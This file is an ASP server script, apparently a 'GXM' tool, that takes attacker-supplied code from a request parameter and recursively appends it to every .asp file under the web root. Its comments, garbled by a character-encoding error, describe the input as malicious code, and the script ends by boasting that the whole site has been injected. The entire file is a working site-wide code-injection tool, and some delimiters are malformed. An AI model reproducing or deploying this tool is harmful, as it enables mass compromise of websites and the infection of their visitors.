<%
dim lujing 'ÉùÃ÷±äÁ¿
dim gxmfile
gxmfile=trim(request("ma")) '½ÓÊÜ±íµ¥ÖеĶñÒâ´úÂë,²¢¹ýÂË×óÓÒÁ½¶ËµÄ¿Õ¸ñ
if gxmfile="" then 'Èç¹û¶ñÒâ´úÂëΪ¿Õ,¾ÍÖ´ÐÐÏÂÃæµÄjavascript½Å±¾
response.write "<script language=javascript>alert('ÄѵÀÄãûÓÐÊäÈëµÄ¶ñÒâ´úÂëÂð£¿ÄÇÄã½ÐÎÒ°ïÄã²åʲô´úÂë°¡!');history.back()</script>"
else
lujing=server.mappath("/") 'Èç¹û¶ñÒâ´úÂ벻Ϊ¿Õ,¾Í°ÑÍøÕ¾Â·¾¶µÄÖµ¸ølujing±äÁ¿
Sub InsertAllFiles(Path) '¶¨Òå¹ý³Ì
Set FSO = CreateObject("Scripting.FileSystemObject") '½¨Á¢¶ÔÏó
on error resume next '´ò¿ª´íÎóÏÝÚå,Ò²¾ÍÊÇ´ó¼Ò³£ËµµÄÈÝ´íÓï¾ä
Set f = FSO.GetFolder(Path) 'ÌáÈ¡ÍøÕ¾¸ùĿ¼ËùÔÚµÄÎļþ¼Ð
Set f2 = f.files 'ÌáÈ¡¸Õ¸ÕÎļþ¼ÐϵÄËùÓÐÎļþ
For Each f3 in f2 'Ñ»·°¡,»ñµÃËùÓÐÎļþ
If lcase(FSO.GetExtensionName(path&"\"&f3.name))="asp" then 'ÅжÏÎļþµÄºó׺ÊDz»ÊÇΪasp
Set FS1 = CreateObject("Scripting.FileSystemObject") 'Èç¹ûÊǵϰ¾ÍÔÚÉùÃ÷¶ÔÏó
Set wfile=FS1.opentextfile(path&"\"&f3.name,8,false) '´ò¿ªaspÎļþ,²¢ÇÒ×·¼Ó
wfile.write gxmfile '×·¼Ó¶ñÒâ´úÂë
end if
wfile.close '¹Ø±ÕÎļþ
Next 'Ñ»·½áÊø
Set fsubfolers = f.SubFolders 'ÌáÈ¡¶þ¼¶Ä¿Â¼ÏµÄËùÔÚÎļþ¼Ð
For Each f4 in fsubfolers 'Ñ»·ÓÖÒª¿ªÊ¼ÁË
newpath=path&"\"&f4.name 'ÌáÈ¡¶þ¼¶Ä¿Â¼ÏµÄÿһ¸öÎļþ¼Ð
InsertAllFiles(newpath) 'µ÷Óùý³Ì,ʹ֮Äܹ»°ÑÎļþ¼ÐϵÄËùÓÐASPÎļþ×·¼Ó,Ò²¾ÍÊǵݹéµ÷Óð¡
Next 'Ñ»·½áÊø
set wfile=nothing 'ÊͷŶÔÏó
set FS1=nothing 'ÊͷŶÔÏó
Set FSO = Nothing 'ÊͷŶÔÏó
End Sub '¶¨Òå¹ý³Ì½áÊø
%>
%<
call InsertAllFiles(lujing) 'µ÷Óùý³Ì,´ÓÍøÕ¾¸ùĿ¼¿ªÊ¼
%>
%<
response.write "<center>GXMÒѰïÄã²åÈëȫվËùÓÐASPÎļþ</center>" %> 'Õâ¸ö²»ÓÃÎÒ¶à˵Á˰É
|